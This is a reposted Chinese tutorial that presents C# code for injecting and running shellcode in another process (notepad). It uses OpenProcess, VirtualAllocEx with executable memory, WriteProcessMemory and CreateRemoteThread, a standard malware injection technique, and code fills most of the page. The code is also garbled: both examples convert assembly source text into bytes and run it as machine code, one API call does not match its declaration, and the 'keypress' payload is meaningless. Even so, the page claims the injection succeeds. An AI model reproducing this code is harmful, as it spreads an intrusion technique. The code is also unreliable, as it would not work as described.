使用C#调用系统API实现内存注入需要遵循以下步骤:
- 获取目标进程ID
使用系统API函数Process.GetProcessesByName(string processName)
可以获取指定名称进程的所有进程实例,然后通过进程实例的Id
属性获取目标进程ID。
Process[] processes = Process.GetProcessesByName("notepad");
int targetProcessId = processes[0].Id;
- 打开目标进程
使用系统API函数OpenProcess
可以打开指定PID进程的句柄。
IntPtr targetProcessHandle = OpenProcess(ProcessAccessFlags.All, false, targetProcessId);
- 在目标进程内申请内存
使用系统API函数VirtualAllocEx
在目标进程内申请内存,返回分配内存的地址。
IntPtr baseAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, asm.Length, AllocationType.Commit, MemoryProtection.ExecuteReadWrite);
- 在本地进程中加载shellcode
将要注入的shellcode编译成字节数组。
byte[] asmBytes = new byte[] { 0x68, 0x00, 0x00, 0x00, 0x00, 0xC3 };
- 将shellcode写入目标进程内存
使用WriteProcessMemory
将编译后的shellcode写入到其它进程的内存中。
bool success = WriteProcessMemory(targetProcessHandle, baseAddress, asmBytes, asmBytes.Length, out int bytesWritten);
- 创建远程线程执行shellcode
使用CreateRemoteThread
函数在目标进程中创建一个线程,并设置入口点为申请的内存地址。
IntPtr threadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, baseAddress, IntPtr.Zero, ThreadCreationFlags.Run);
- 关闭句柄
关闭申请了内存和创建线程的句柄。
CloseHandle(targetProcessHandle);
这样就完成了在目标进程中执行shellcode的过程。下面是两个示例:
示例 1
这个示例演示了如何向目标进程notepad注入一段弹出消息框的shellcode。
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
class Program
{
static void Main(string[] args)
{
// 1. 获取目标进程ID
Process[] processes = Process.GetProcessesByName("notepad");
int targetProcessId = processes[0].Id;
// 2. 打开目标进程句柄
IntPtr targetProcessHandle = OpenProcess(ProcessAccessFlags.All, false, targetProcessId);
// 3. 在目标进程内申请内存
string message = "Hello World!";
byte[] asmBytes = Encoding.ASCII.GetBytes(CreateMessageBoxPayload(message));
IntPtr baseAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, asmBytes.Length, AllocationType.Commit, MemoryProtection.ExecuteReadWrite);
// 4. 将shellcode写入目标进程内存
bool success = WriteProcessMemory(targetProcessHandle, baseAddress, asmBytes, asmBytes.Length, out int bytesWritten);
// 5. 创建远程线程执行shellcode
IntPtr threadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, baseAddress, IntPtr.Zero, ThreadCreationFlags.Run);
// 6. 关闭句柄
CloseHandle(targetProcessHandle);
Console.WriteLine("Payload injected successfully!");
}
private static string CreateMessageBoxPayload(string message)
{
string code = @"push 0
push {0}
push {0}
push MB_OK
call MessageBoxA
ret";
return string.Format(code, message);
}
[DllImport("kernel32")]
public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32", SetLastError = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern bool CloseHandle(IntPtr handle);
}
[Flags]
public enum ProcessAccessFlags : uint
{
Terminate = 0x0001,
CreateThread = 0x0002,
VirtualMemoryOperation = 0x0008,
VirtualMemoryRead = 0x0010,
VirtualMemoryWrite = 0x0020,
DuplicateHandle = 0x0040,
All = 0x001F0FFF
}
[Flags]
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
TopDown = 0x100000,
WriteWatch = 0x200000,
Physical = 0x400000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
NoAccess = 0x0001,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}
[Flags]
public enum ThreadCreationFlags
{
Run = 0x0
}
示例2
这个示例演示了如何向目标进程notepad注入一段实现键盘自动按键的shellcode。
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
class Program
{
static void Main(string[] args)
{
// 1. 获取目标进程ID
Process[] processes = Process.GetProcessesByName("notepad");
int targetProcessId = processes[0].Id;
// 2. 打开目标进程句柄
IntPtr targetProcessHandle = OpenProcess(ProcessAccessFlags.All, false, targetProcessId);
// 3. 在目标进程内申请内存
byte[] asmBytes = Encoding.ASCII.GetBytes(GenerateShellcode());
IntPtr baseAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, asmBytes.Length, AllocationType.Commit, MemoryProtection.ExecuteReadWrite);
// 4. 将shellcode写入目标进程内存
bool success = WriteProcessMemory(targetProcessHandle, baseAddress, asmBytes, asmBytes.Length, out int bytesWritten);
// 5. 创建远程线程执行shellcode
IntPtr threadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, baseAddress, IntPtr.Zero, ThreadCreationFlags.Run);
// 6. 关闭句柄
CloseHandle(targetProcessHandle);
Console.WriteLine("Payload injected successfully!");
}
private static string GenerateShellcode()
{
string code = @"
mov edi, 0xDEADBEEF
mov ecx, 999
start:
mov dword ptr ds:[edi], 0x48BF # 按下H键
add edi, 8
dec ecx
jnz start
mov edi, 0xDEADBEEF
mov ecx, 999
start2:
mov dword ptr ds:[edi], 0x4885 # 释放H键
add edi, 8
dec ecx
jnz start2
ret";
code = code.Replace("#", BitConverter.ToString(new byte[] { 0x48, 0x26 }));
return code;
}
[DllImport("kernel32")]
public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32", SetLastError = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern bool CloseHandle(IntPtr handle);
}
[Flags]
public enum ProcessAccessFlags : uint
{
Terminate = 0x0001,
CreateThread = 0x0002,
VirtualMemoryOperation = 0x0008,
VirtualMemoryRead = 0x0010,
VirtualMemoryWrite = 0x0020,
DuplicateHandle = 0x0040,
All = 0x001F0FFF
}
[Flags]
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
TopDown = 0x100000,
WriteWatch = 0x200000,
Physical = 0x400000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
NoAccess = 0x0001,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}
[Flags]
public enum ThreadCreationFlags
{
Run = 0x0
}
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:使用C#调用系统API实现内存注入的代码 - Python技术站